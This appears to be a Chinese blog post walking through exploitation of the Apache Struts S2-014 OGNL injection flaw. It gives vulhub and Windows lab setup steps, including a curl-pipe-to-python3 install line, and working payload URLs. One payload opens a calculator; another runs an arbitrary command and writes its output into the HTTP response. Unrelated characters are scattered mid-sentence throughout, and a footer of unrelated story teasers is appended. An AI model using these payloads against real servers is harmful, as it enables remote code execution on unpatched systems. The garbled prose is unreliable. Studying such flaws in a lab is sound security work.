Struts-S2-014漏洞利用(含環(huán)境搭建绳泉、含POC)

struts-s2-014

此文僅供大家交流學(xué)習(xí)逊抡,嚴(yán)禁非法使用

一、參考網(wǎng)址:

http://struts.apache.org/docs/s2-014.html
https://github.com/phith0n/vulhub/tree/master/struts2/s2-013

二零酪、 影響版本:

S2-014 是對 S2-013 修復(fù)的加強(qiáng)冒嫡,在 S2-013 修復(fù)的代碼中忽略了 ${ognl_exp} OGNL 表達(dá)式執(zhí)行的方式,因此 S2-014 是對其的補(bǔ)丁加強(qiáng)四苇。

三孝凌、 漏洞介紹:

無論是S:URL和S:一個標(biāo)簽提供includeParams屬性。
該屬性的主要范圍是了解是否包括http請求參數(shù)蛔琅。
includeParams的允許值為:
無 - 在URL中不包含參數(shù)(默認(rèn))
get - 僅在URL中包含GET參數(shù)
all - 在URL中包含GET和POST參數(shù)
包含特制請求參數(shù)的請求可用于將任意OGNL代碼注入到堆棧中胎许,之后用作URL或A標(biāo)簽的請求參數(shù)峻呛,這將進(jìn)一步評估。
當(dāng)URL / A標(biāo)簽嘗試解析原始請求中存在的每個參數(shù)時辜窑,會發(fā)生第二個評估钩述。
這使得惡意用戶將任意的OGNL語句放入任何請求參數(shù)(不一定由代碼管理),并將其評估為OGNL表達(dá)式穆碎,以啟用方法執(zhí)行并執(zhí)行任意方法牙勘,繞過Struts和OGNL庫保護(hù)。
這個問題最初由Struts 2.3.14.1和安全公告S2-013處理所禀。然而方面,2.3.14.1引入的解決方案沒有解決所有可能的攻擊向量,因此2.3.14.2之前的每個版本的Struts 2仍然容易受到這種攻擊色徘。

此漏洞相對于S2-013來說恭金,前者參數(shù)必須為后臺代碼指定參數(shù),但后者為任意參數(shù)褂策,大大增強(qiáng)了漏洞被攻破的可能性

四横腿、 環(huán)境搭建:

(windows)

  • 下載/struts/2.1.6

下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下載安裝xampp

  • 部署showcase

  • 解壓

2.1.6_1.png

2.1.6_2.png
  • 復(fù)制到.
2.1.6_3.png
  • 重啟tomcat
2.1.6_4.png
  • 已成功自動部署
2.1.6_5.png
  • 修改配置
    在Struts Blank應(yīng)用程序中打開HelloWorld.jsp,并將以下參數(shù)添加到url / a標(biāo)簽之一:
    includeParams="all"
    這樣一來斤寂,這條線將會是這樣的:
    <s:url id="url" action="HelloWorld" includeParams="all">
    運(yùn)行struts2-blank應(yīng)用程序

環(huán)境搭建:(ubuntu)

curl -s https://bootstrap.pypa.io/get-pip.py | python3

  • 安裝docker
    apt-get update && apt-get install docker.io

  • 啟動docker服務(wù)
    service docker start

  • 安裝compose
    pip install docker-compose

注意要先ssh連接耿焊,將公鑰添加到github上,具體參照網(wǎng)上教程

  • 拉取項(xiàng)目
    git clone git@github.com:phith0n/vulhub.git
    cd vulhub

  • 進(jìn)入某一個漏洞/環(huán)境的目錄
    cd nginx_php5_mysql

  • 自動化編譯環(huán)境
    docker-compose build

  • 啟動整個環(huán)境
    docker-compose up -d

五遍搞、 POC:

aaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}

六罗侯、 測試網(wǎng)址:

原始網(wǎng)址:

http://ip:8080/struts2-blank-2.1.6/example/HelloWorld.action

修改后網(wǎng)址;

http://ip:8080/struts2-blank-2.1.6/example/HelloWorld.action?url=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}

執(zhí)行結(jié)果為打開本地計(jì)算器應(yīng)用

任意可執(zhí)行命令POC:

aaaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo)%7D

七、執(zhí)行結(jié)果

1.png

注意根據(jù)需求更改res大小

八溪猿、 至此钩杰,該漏洞基本利用完畢

本人還是一個未畢業(yè)的小萌新,希望大家多多幫助再愈,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激榜苫,我也會盡量去幫助大家

堅(jiān)決做一名白帽子

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末护戳,一起剝皮案震驚了整個濱河市翎冲,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌媳荒,老刑警劉巖抗悍,帶你破解...
    沈念sama閱讀 216,919評論 6 502
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異钳枕,居然都是意外死亡缴渊,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,567評論 3 392
  • 文/潘曉璐 我一進(jìn)店門鱼炒,熙熙樓的掌柜王于貴愁眉苦臉地迎上來衔沼,“玉大人,你說我怎么就攤上這事≈敢希” “怎么了菩佑?”我有些...
    開封第一講書人閱讀 163,316評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長凝化。 經(jīng)常有香客問我稍坯,道長,這世上最難降的妖魔是什么搓劫? 我笑而不...
    開封第一講書人閱讀 58,294評論 1 292
  • 正文 為了忘掉前任瞧哟,我火速辦了婚禮,結(jié)果婚禮上枪向,老公的妹妹穿的比我還像新娘勤揩。我一直安慰自己,他們只是感情好秘蛔,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,318評論 6 390
  • 文/花漫 我一把揭開白布雄可。 她就那樣靜靜地躺著,像睡著了一般缠犀。 火紅的嫁衣襯著肌膚如雪数苫。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,245評論 1 299
  • 那天辨液,我揣著相機(jī)與錄音虐急,去河邊找鬼。 笑死滔迈,一個胖子當(dāng)著我的面吹牛止吁,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播燎悍,決...
    沈念sama閱讀 40,120評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼敬惦,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了谈山?” 一聲冷哼從身側(cè)響起俄删,我...
    開封第一講書人閱讀 38,964評論 0 275
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎奏路,沒想到半個月后畴椰,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,376評論 1 313
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡鸽粉,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,592評論 2 333
  • 正文 我和宋清朗相戀三年斜脂,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片触机。...
    茶點(diǎn)故事閱讀 39,764評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡帚戳,死狀恐怖玷或,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情片任,我是刑警寧澤庐椒,帶...
    沈念sama閱讀 35,460評論 5 344
  • 正文 年R本政府宣布,位于F島的核電站蚂踊,受9級特大地震影響约谈,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜犁钟,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,070評論 3 327
  • 文/蒙蒙 一棱诱、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧涝动,春花似錦迈勋、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,697評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至米愿,卻和暖如春厦凤,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背育苟。 一陣腳步聲響...
    開封第一講書人閱讀 32,846評論 1 269
  • 我被黑心中介騙來泰國打工较鼓, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人违柏。 一個月前我還...
    沈念sama閱讀 47,819評論 2 370
  • 正文 我出身青樓博烂,卻偏偏與公主長得像,于是被迫代替她去往敵國和親漱竖。 傳聞我的和親對象是個殘疾皇子禽篱,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,665評論 2 354

推薦閱讀更多精彩內(nèi)容